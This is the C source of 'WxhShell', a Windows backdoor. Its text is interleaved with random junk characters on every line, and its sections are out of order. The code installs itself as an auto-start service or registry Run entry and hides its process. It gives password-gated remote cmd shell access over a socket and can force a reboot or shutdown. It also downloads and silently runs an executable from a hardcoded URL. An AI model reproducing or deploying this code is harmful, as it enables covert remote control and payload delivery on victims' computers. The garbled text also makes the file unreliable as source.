    if(Boot(SHUTDOWN)) (0OM "`j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3V}(fnv  
    else { 9 6=Z"  
    closesocket(wsh); Q4?EZ_O  
    ExitThread(0); 9OyNi  
    } Q.A \U>AgV  
    break; 0 _A23.Y  
    } hU" F;4p  
  // 获取shell Iyyo3awc  
  case 's': { 0/Z !5-.  
    CmdShell(wsh); hsz^rZ  
    closesocket(wsh); $3k "WlRG  
    ExitThread(0); s]Gd-j  
    break; .*Vkua  
  } B`{mdjMy  
  // 退出 DtI$9`~  
  case 'x': { `*aBRwvK~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lc]1$  
    CloseIt(wsh); 2JZdw  
    break; fQU{SjG  
    } tuxRVV8l  
  // 离开 NEV p8)w  
  case 'q': { s?c JV `  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5/?P|T   
    closesocket(wsh); @ 7W?8  
    WSACleanup(); X?/Lz;,&  
    exit(1); xQU"A2{}>  
    break; 3z3_7XI  
        } .'j29 6[u  
  }  $:EG%jl  
  } Uw)=WImz[  
CxDcY  
  // 提示信息 a9l8{ 3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k!3 cq)  
} {<K=*r rZ  
  } : @6mFTV  
Vb!O8xV4;+  
  return; c -B/~&  
} R0wf#%97  
aQUGNa0+d  
// shell模块句柄 pOA!#Aj)  
int CmdShell(SOCKET sock) BpH%STEN  
{ VEs5;]#<2D  
STARTUPINFO si; :q (&$  
ZeroMemory(&si,sizeof(si)); ',)7GY/n~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fF;h V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >zngJ$  
PROCESS_INFORMATION ProcessInfo; c}-(.eu  
char cmdline[]="cmd"; 4h8*mMghs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bL`eiol6  
  return 0; ? ?[g}>  
} 1nI^-aQ3  
3^wC<ZXcD  
// 自身启动模式 ~3CVxbB^<  
int StartFromService(void) r N5tI.iC  
{ q3h'l,  
typedef struct 4 1t)(+r  
{ ;>>C)c4V"  
  DWORD ExitStatus; 9v?l  
  DWORD PebBaseAddress; K_ke2{4Jm  
  DWORD AffinityMask; UyiJU~r1  
  DWORD BasePriority; aG{$Ic  
  ULONG UniqueProcessId; u9Y3?j,oC  
  ULONG InheritedFromUniqueProcessId; ] fwZAU  
}   PROCESS_BASIC_INFORMATION; {( tHk_q  
Ri)uq\E/#  
PROCNTQSIP NtQueryInformationProcess; 9Ah[rK*}  
8-M e.2K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jfp z`zE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qP1FJ89H  
wK!~tYxP  
  HANDLE             hProcess; h|)vv4-d|  
  PROCESS_BASIC_INFORMATION pbi; lV6dm=k  
PsnGXcj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ke%pZ 7{u  
  if(NULL == hInst ) return 0; BKIjNV3  
[6tSYUZs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %j+xgX/&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :P+\p=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :a0zT#u  
lAi2,bz"  
  if (!NtQueryInformationProcess) return 0; _O]xey^r  
:50b8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }dYBces  
  if(!hProcess) return 0; 2+Rv{%  
L{&U V0q!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BVpO#c~I  
~*.-  
  CloseHandle(hProcess); '@=PGpRF  
T!|=El>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KbW9s,:p  
if(hProcess==NULL) return 0; ST dNM\+  
~Z)/RT/  
HMODULE hMod; =L]Q2V}  
char procName[255]; !{%&=tIZ  
unsigned long cbNeeded; !3 qVB  
=#xK=pRy;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e0HfP v_  
F0lOlS   
  CloseHandle(hProcess); F]+~x/!  
~E5z"o6$  
if(strstr(procName,"services")) return 1; // 以服务启动 @n+=vC.xO  
?cy4&]s  
  return 0; // 注册表启动 @It>*B yB.  
} #,NvO!j<4  
L.'}e{ldW  
// 主模块 h2Bz F  
int StartWxhshell(LPSTR lpCmdLine) fV\]L4%  
{ DN] v_u+}  
  SOCKET wsl; )> a B  
BOOL val=TRUE; 5&!c7$K0  
  int port=0; {XCf-{a]~  
  struct sockaddr_in door; 9KuD(EJS  
quxdG>8  
  if(wscfg.ws_autoins) Install(); * ?Jz2[B  
r@G#[.*A>  
port=atoi(lpCmdLine); WyhhCR=;  
PBjmGwg7  
if(port<=0) port=wscfg.ws_port; s^8u&y)3  
s Be7"^  
  WSADATA data; !|Q5Zi;aX7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >QkP7Kb  
K9Hqq7"%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   } ^kL|qmjR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yd_ (?V&;_  
  door.sin_family = AF_INET; vX|UgK?2^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }T_Te?<&  
  door.sin_port = htons(port); p9eRZVy/  
ca<"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /e@H^Cgo  
closesocket(wsl); 4Y\wnwI  
return 1; <n"C,  
} Nf41ZT~  
""iaGH+Cxw  
  if(listen(wsl,2) == INVALID_SOCKET) { Vr.Y/3N&'  
closesocket(wsl); zg)sd1@  
return 1; |I;$M;'r&  
} s%4M$ e  
  Wxhshell(wsl); RW'nUL?_\  
  WSACleanup(); C#0Qd%  
Ah69 _>N`S  
return 0; xg@NQI@7   
7V7zGx+Z7  
} ?/hZb"6W  
yR5XJ;Tct  
// 以NT服务方式启动 SkQswH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EbNd=Z'J  
{ Dh4 6o|P  
DWORD   status = 0; 8 .>/6M  
  DWORD   specificError = 0xfffffff; iUk-'   
_i0kc,*C\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _l`e#XbG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6A R2htN^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I^\&y(LJF  
  serviceStatus.dwWin32ExitCode     = 0; *XOJnyC_H  
  serviceStatus.dwServiceSpecificExitCode = 0; &EGqgNl  
  serviceStatus.dwCheckPoint       = 0; q'[}9e`Q  
  serviceStatus.dwWaitHint       = 0; w*9br SK  
|OO in]5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WiL2  
  if (hServiceStatusHandle==0) return; lCd@jB{  
5K%SL1N  
status = GetLastError(); >R,'5:Rw  
  if (status!=NO_ERROR) U&Wwyu:4i  
{ pmvT$;7I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^"\s eS  
    serviceStatus.dwCheckPoint       = 0; &C<yfRDu  
    serviceStatus.dwWaitHint       = 0; jhgX{xc  
    serviceStatus.dwWin32ExitCode     = status; *A'FC|\  
    serviceStatus.dwServiceSpecificExitCode = specificError; DE$q+j0P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R7 jmv n  
    return; >r@.F%  
  } Bh`N[\r  
B;6]NCx D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9LnN$e  
  serviceStatus.dwCheckPoint       = 0; X!hIwiA,t  
  serviceStatus.dwWaitHint       = 0; E(pF:po  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {PU!=IkTS  
} 'wasZ b<^  
UB`ToE|Ii  
// 处理NT服务事件,比如:启动、停止 Df =dt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YV% 5y1 i  
{ pW0dB_  
switch(fdwControl) :e1o<JgPt  
{ !`JHH&  
case SERVICE_CONTROL_STOP: aVs(EHF  
  serviceStatus.dwWin32ExitCode = 0; T  VmH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^[E' 1$D  
  serviceStatus.dwCheckPoint   = 0; Ox!U8g8c  
  serviceStatus.dwWaitHint     = 0; lH^^77"4Qo  
  { h5_G4J{1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p^kUs0$GS  
  } O=cxNy-I  
  return; u6V/JI}g  
case SERVICE_CONTROL_PAUSE: s'aip5P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wFh8?Z3u_  
  break; Y}*\[}l:&x  
case SERVICE_CONTROL_CONTINUE: 'n QVj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o{b=9-V  
  break; EJ}!F?o  
case SERVICE_CONTROL_INTERROGATE: g>0XxjP4  
  break; 1LJuCI=~  
}; gJiK+&8I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$VZte x  
} ?^mi3VM  
`nXVE+E@  
// 标准应用程序主函数  MTER(L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7\z ZpPDV  
{ c\6+=\  
b i y4 d  
// 获取操作系统版本 >Iewx Gb>  
OsIsNt=GetOsVer(); s`j~-P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {gA\ph% s  
L TV{{Z+  
  // 从命令行安装 ZoB*0H-  
  if(strpbrk(lpCmdLine,"iI")) Install(); @$"J|s3M  
mffn//QS  
  // 下载执行文件 NgCuFL(Ic  
if(wscfg.ws_downexe) { u?Tpi[ #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @RFs/'  
  WinExec(wscfg.ws_filenam,SW_HIDE); \I-#1M  
} TC~Q G$NW  
ne61}F"E  
if(!OsIsNt) { 87)zCq  
// 如果时win9x,隐藏进程并且设置为注册表启动 /){KOCBl;  
HideProc(); ,oxcq?7#4  
StartWxhshell(lpCmdLine); iqQUtE]E_  
} GuZ ( &G6*  
else 4H5pr  
  if(StartFromService()) !MDNE*_  
  // 以服务方式启动 )D'^3) FF  
  StartServiceCtrlDispatcher(DispatchTable); u<q :$  
else 'bGX-C  
  // 普通方式启动 > oA? 6x  
  StartWxhshell(lpCmdLine); &C im!I  
"\Egs)\  
return 0; "Td`AuP@,  
} 4nH*Ui!T  
`-`qdda  
!UOCJj.cA  
V}d 9f 2  
=========================================== I KtB;  
s]T""-He  
l kyzNy9R  
CycUeT  
I1X /Lj=  
M<SdPC(+  
" &1l=X]%  
IKMeJ(:S  
#include <stdio.h> #j#_cImE  
#include <string.h> |py6pek|  
#include <windows.h> F-D]TRG/*]  
#include <winsock2.h> ANIz, LS  
#include <winsvc.h> +_v$!@L8  
#include <urlmon.h> W"{v2xi  
QB:i/9  
#pragma comment (lib, "Ws2_32.lib") #po5_dE\*  
#pragma comment (lib, "urlmon.lib") lf>*Y.!@me  
=.]l*6W V  
#define MAX_USER   100 // 最大客户端连接数 [S.ZJUns  
#define BUF_SOCK   200 // sock buffer RsU3Gi_Zdz  
#define KEY_BUFF   255 // 输入 buffer kt[:@Nda9  
wxm:7$4C  
#define REBOOT     0   // 重启 tx"sH]n  
#define SHUTDOWN   1   // 关机 B QcE9~H  
;U1UFqZ`  
#define DEF_PORT   5000 // 监听端口 kyAXRwzI  
O3N0YGhJ  
#define REG_LEN     16   // 注册表键长度 [s9O0i" Y  
#define SVC_LEN     80   // NT服务名长度 @prG%vb"  
4`Q3v4fOF  
// 从dll定义API ;fw1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ky 8ep  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ml@2wGyf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tNsPB6 Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,D\GGRw  
nA|.t  
// wxhshell配置信息 <APB11  
struct WSCFG { mrm^e9*Z  
  int ws_port;         // 监听端口 >FhK #*Pa  
  char ws_passstr[REG_LEN]; // 口令 ,f}UGd[a  
  int ws_autoins;       // 安装标记, 1=yes 0=no ug{R 3SS  
  char ws_regname[REG_LEN]; // 注册表键名 7NC=*A~  
  char ws_svcname[REG_LEN]; // 服务名 < B_Vc:Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K =.%$A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w;Q;[:y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cPgfTT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7r|(}S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q0Nyqhvi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZcuA6#3B  
\MxoZ  
}; QKN<+,h!z>  
DC1'Kyk  
// default Wxhshell configuration =0 @&GOq  
struct WSCFG wscfg={DEF_PORT, &t5{J53  
    "xuhuanlingzhe",  tvXW  
    1, #j@71]GI  
    "Wxhshell", mh<=[J,%p  
    "Wxhshell", eI1GXQ%  
            "WxhShell Service", f84:hXo6  
    "Wrsky Windows CmdShell Service", ,uzN4_7u  
    "Please Input Your Password: ", ,>t69 Ad  
  1, 7W6cM%_B  
  "http://www.wrsky.com/wxhshell.exe", Z~A@o ""F  
  "Wxhshell.exe" {bO|409>W  
    }; [^8n0{JiN  
e]=!"nJ+  
// 消息定义模块 1!pa;$L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "NRDNqj(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !6Sd(2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !*2%"H*  
char *msg_ws_ext="\n\rExit."; dd?x(,"A`  
char *msg_ws_end="\n\rQuit."; 0y&I/2  
char *msg_ws_boot="\n\rReboot..."; 8/z3=O&  
char *msg_ws_poff="\n\rShutdown..."; SuZ&vqS  
char *msg_ws_down="\n\rSave to "; 6#j$GH *  
$3Z-)m  
char *msg_ws_err="\n\rErr!"; 7PR#(ftz  
char *msg_ws_ok="\n\rOK!"; B?$ "\;&  
m/NdJMoN=  
char ExeFile[MAX_PATH]; 3] 1-M  
int nUser = 0; OB ~X/  
HANDLE handles[MAX_USER]; ExHKw~y9  
int OsIsNt; \5Vde%!$Z  
Hi_ G  
SERVICE_STATUS       serviceStatus; bCZ g cN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $A3<G-4O  
i{D=l7j|w  
// 函数声明 +GsWTEz   
int Install(void); jGrN\D?h  
int Uninstall(void); RzhWD^bB  
int DownloadFile(char *sURL, SOCKET wsh); v(OBXa9  
int Boot(int flag); \c[IbL07  
void HideProc(void); v^ d]r Sm  
int GetOsVer(void); Jc)^49Rf  
int Wxhshell(SOCKET wsl); U/lM\3v/e  
void TalkWithClient(void *cs); nA?Hxos  
int CmdShell(SOCKET sock); zrVC8Wb  
int StartFromService(void); 6h3HDFS7s  
int StartWxhshell(LPSTR lpCmdLine); 6Es? MW=  
T32BnmB{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y8VpFa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q-#$Aa  
l{w#H|]  
// 数据结构和表定义 Th`skK&U  
SERVICE_TABLE_ENTRY DispatchTable[] = S osj$9E  
{ 1b8p~-LsU  
{wscfg.ws_svcname, NTServiceMain}, 4@.|_zY  
{NULL, NULL} %3HVFhl  
}; iTW? W\d  
Bx[rC  
// 自我安装 %AOIKK5  
int Install(void) 8G>>i)Sbg  
{ vpPl$ga5bY  
  char svExeFile[MAX_PATH]; 7u\*_mrv  
  HKEY key; x\2?ym@  
  strcpy(svExeFile,ExeFile); $8l({:*q0  
Wl h~)   
// 如果是win9x系统,修改注册表设为自启动 B*htN  
if(!OsIsNt) { R(j1n,c]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D@EO=08<b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ::n;VY2&  
  RegCloseKey(key); P,ua<B}L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bslrqUk_`=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -/ ]W+[  
  RegCloseKey(key); t>B^q3\q?  
  return 0; zo;^m|  
    } J8y0d1SG  
  } \, !Q Jp4  
} \.XLcz  
else { 2cu#lMq  
8 i&_Jgmr  
// 如果是NT以上系统,安装为系统服务 Y-ux7F{=z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +.RKi !  
if (schSCManager!=0) ] 4+s$rG  
{ PL{Q!QJK'  
  SC_HANDLE schService = CreateService BQ^H? jo  
  ( JO14KY*%  
  schSCManager, W&h[p_0  
  wscfg.ws_svcname, 0iCPi)B  
  wscfg.ws_svcdisp, 1B*WfP~  
  SERVICE_ALL_ACCESS, Qr# 1u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OdMO=Hy6d  
  SERVICE_AUTO_START, ?Z\Yu'  
  SERVICE_ERROR_NORMAL, (><zsLs&  
  svExeFile, PiFD^w  
  NULL, *M7E#bQ5B  
  NULL, }0,>2TTDN  
  NULL, dk8wIa"K`  
  NULL, %hlspI(J  
  NULL P#v*TD'  
  ); SPj><5Ro  
  if (schService!=0) {;2i.m1  
  { $- +/$!  
  CloseServiceHandle(schService); ~-a'v!  
  CloseServiceHandle(schSCManager); wPbkUVO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x*oWa,  
  strcat(svExeFile,wscfg.ws_svcname); &iN--~}!$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xr0haN\p"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $o@R^sJ  
  RegCloseKey(key); +Taa!hfys  
  return 0; R E1 /"[t  
    } 9iN.3/T8  
  } HG/p$L*  
  CloseServiceHandle(schSCManager); =TR,~8Z|  
} Gf8s?l  
} -{h   
WS& kx~oQ  
return 1; TJ?g%  
} =Nz0.:  
!gwjN_ZJ^  
// 自我卸载 3E}EBJLsZ  
int Uninstall(void) Dj\e@?Y  
{ DjMf,wX-{  
  HKEY key; (Lh#`L?x  
s!/TU{8J  
if(!OsIsNt) { I[o*RKT'"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctQbp~-  
  RegDeleteValue(key,wscfg.ws_regname); DOm[*1@^  
  RegCloseKey(key); 3+MB5 T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `ir3YnT+  
  RegDeleteValue(key,wscfg.ws_regname); Ql?^ B SqG  
  RegCloseKey(key); y0v]N  
  return 0; Oc9#e+_&  
  } Ct$82J  
} -6Tk<W  
} @|bP+8oU  
else { g|PC$p-z+  
0f ER*.F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F{k+7Ftc  
if (schSCManager!=0) Dj-s5pAW  
{ [%HIbw J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,]R8(bD)  
  if (schService!=0) 3E} An%  
  { 8:ggECD  
  if(DeleteService(schService)!=0) { us?&:L|!=  
  CloseServiceHandle(schService); ba@ax3  
  CloseServiceHandle(schSCManager); JM0I(%Z%  
  return 0; v}Wmd4Y'  
  } 7J>Gd  
  CloseServiceHandle(schService); JU0]Wq<^[  
  } 4yMW^:@  
  CloseServiceHandle(schSCManager); ?_6YtR,{  
} b|^I<7  
} wh 0<Uv  
v4?iOD  
return 1; D)='8jV7  
} 0Flu\w/+P  
x )5V.q  
// 从指定url下载文件 j{#Wn !,  
int DownloadFile(char *sURL, SOCKET wsh) 'p)Q68;&  
{ =4C}{IL  
  HRESULT hr; j'Y / H5  
char seps[]= "/"; Ex@`O+  
char *token; tP ~zKU  
char *file; .M|>u_<Qd  
char myURL[MAX_PATH]; zxD,E@lF  
char myFILE[MAX_PATH]; (g/7yO(s  
M%Ku5X6:/  
strcpy(myURL,sURL); p5c8YfM  
  token=strtok(myURL,seps); #?} 6t~  
  while(token!=NULL) "5DJu ~  
  { V7CoZnz  
    file=token; vTr34n  
  token=strtok(NULL,seps); A,i()R'I  
  }  vfvlB[  
<FFJzNc+  
GetCurrentDirectory(MAX_PATH,myFILE); cErI%v}v0  
strcat(myFILE, "\\"); O]u",J5  
strcat(myFILE, file); 7r{qJ7$%  
  send(wsh,myFILE,strlen(myFILE),0); kL{;.WsB  
send(wsh,"...",3,0); 4dhqLVgL{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^kj=<+ v#  
  if(hr==S_OK) @ "d2.h  
return 0; /dHs &SU,  
else C77D{@SM  
return 1; #*IVlchA"B  
;cP8?U  
} C;1PsSE+A  
Q/_#k/R  
// 系统电源模块 wuK=6RL  
int Boot(int flag) ~bU7QLr  
{ pD`/_-=^h  
  HANDLE hToken; vX1uR]A[  
  TOKEN_PRIVILEGES tkp; Y'm=etE  
k M*T$JqN  
  if(OsIsNt) { i1*C{Lf;%)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vx0UoKX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); go|>o5!g  
    tkp.PrivilegeCount = 1; SPy3~Db-o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zy$Lrr!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2PC5^Ni/9@  
if(flag==REBOOT) { \d68-JS@~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E1q%gi4Q%  
  return 0; MZm'npRf  
} k0K A~  
else { 744=3v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =:$) Z  
  return 0; z4O o@3$\R  
} IlZu~B9c  
  } IvU{Xm"qB  
  else { N)OCSeh  
if(flag==REBOOT) { #qL9{P<}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2ChWe}f  
  return 0; /5a;_  
} tjzA)/T,4  
else { ,7/ _T\d<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XCPb9<L  
  return 0; '"O&J}s;  
} T&}Ye\%  
} V:^H4WvL\W  
9`X&,S~e  
return 1; N=fz/CD)I  
} -q2MrJ*  
$ad&#q7  
// win9x进程隐藏模块 mZoD033H  
void HideProc(void) h)B!L Ar  
{ CyTFb$Z  
)mD \d|7f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pDDG_4E>  
  if ( hKernel != NULL ) !RMS+Mm?  
  { h%b hrkD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); edN8-P(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z-Hkz  
    FreeLibrary(hKernel); (&Q)EBdm  
  } H1UL.g%d=  
Z`xyb>$  
return; gduxA/aT  
} |HgfV@Han  
oS!/|#m n  
// 获取操作系统版本 S:97B\ u`  
int GetOsVer(void) D0%FELG05  
{ 0VG=?dq  
  OSVERSIONINFO winfo; )1z4q`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O)<r>vqe}  
  GetVersionEx(&winfo); 9".Uc8^p/F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8&Wx@QI  
  return 1; "Z9^}  
  else wiV&xl  
  return 0; 5Fe-=BX(  
} 7+8bL{  
XARSGAuw  
// 客户端句柄模块 a-Y6w5  
int Wxhshell(SOCKET wsl) w|G~Il  
{ )kA2vX^=Z  
  SOCKET wsh; 59MR|Jt  
  struct sockaddr_in client; cju@W]!  
  DWORD myID; 32KR--mn%  
9S"N4c>  
  while(nUser<MAX_USER) Gc}0]!nrW9  
{ 1Zq   
  int nSize=sizeof(client); $~hdm$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lm &^tjx  
  if(wsh==INVALID_SOCKET) return 1; +3?`M<L0  
R#fy60  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;y>'yq}  
if(handles[nUser]==0) Jk~UEqr+  
  closesocket(wsh); >Jiij  
else jaa/k@OG  
  nUser++; 8l?w=)Qy  
  } /C7svH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ns~ g+C9  
G;9|%yvd8  
  return 0; Bfn]-]>sD  
} 8!6<p[_  
e@+v9Bs]q  
// 关闭 socket Ei~]iZ}  
void CloseIt(SOCKET wsh) _DrnL}9I7  
{ y3AL)  
closesocket(wsh); :+1bg&wQ  
nUser--; JOgmF_(>Z  
ExitThread(0); ])68wqD  
} -_w~JCx  
p}r yKW\cJ  
// 客户端请求句柄 :7k`R6 2{  
void TalkWithClient(void *cs) 1J+3a-0  
{ 59/Q*7ZJ  
!xJFr6G~8  
  SOCKET wsh=(SOCKET)cs; q|/!0MU"  
  char pwd[SVC_LEN]; {V=vn L--  
  char cmd[KEY_BUFF]; o] S`+ZcV  
char chr[1]; .Wh6(LDY(  
int i,j; Q%$i@JH`m  
M3PVixli3  
  while (nUser < MAX_USER) { }kv)IJ  
\|Y{jG<cu  
if(wscfg.ws_passstr) { +E)e1 :8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `^`9{@~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2}>go^#O/w  
  //ZeroMemory(pwd,KEY_BUFF); }o{!}g9  
      i=0; L:Ed-=|Uw  
  while(i<SVC_LEN) { TA<hj[-8  
f5N<3m=  
  // 设置超时 w[M5M2CF  
  fd_set FdRead; Hq79/ wKj  
  struct timeval TimeOut; QZ:v  
  FD_ZERO(&FdRead); ;7)OSGR  
  FD_SET(wsh,&FdRead); T+3k$G[e/  
  TimeOut.tv_sec=8; 3me<~u  
  TimeOut.tv_usec=0; $<14JEU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XuA0.b%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e ^-3etx  
ScsWnZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Y#@$c  
  pwd=chr[0]; tvK rc  
  if(chr[0]==0xd || chr[0]==0xa) { J1& A,Gb  
  pwd=0; kS[Dy$AB/2  
  break; ;q'DGzh  
  } y K=S!7p\  
  i++; |\rSa^:5  
    } /;[}=JL<Q  
E Gr|BLl  
  // 如果是非法用户,关闭 socket 9k*^\@\\x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =nw,*q +  
} YcEtgpz@  
"@aq@mY@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 55(J&q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WNl&v]   
Ae3,W  
while(1) { t4C<#nfo  
<[esA9.]t  
  ZeroMemory(cmd,KEY_BUFF); G!-7ic_4  
Hs.6;|0%  
      // 自动支持客户端 telnet标准   r=xTs,xx  
  j=0; M P_A<F  
  while(j<KEY_BUFF) { |2[S/8g!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Fw @afE~  
  cmd[j]=chr[0]; Dg1kbO=2  
  if(chr[0]==0xa || chr[0]==0xd) { :Xh_$4~^Y  
  cmd[j]=0; SxnIX/]J  
  break; #IH<HL)t%e  
  } z0=Rp0_W  
  j++; rwasH,+  
    } Sa( yjF1  
z%++\.g_  
  // 下载文件 1y_fQ+\2A  
  if(strstr(cmd,"http://")) { +"TI_tK, S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M9g~lKs'  
  if(DownloadFile(cmd,wsh)) cH+h=E=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .G7]&5s  
  else &?}kL= h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Ac}R'  
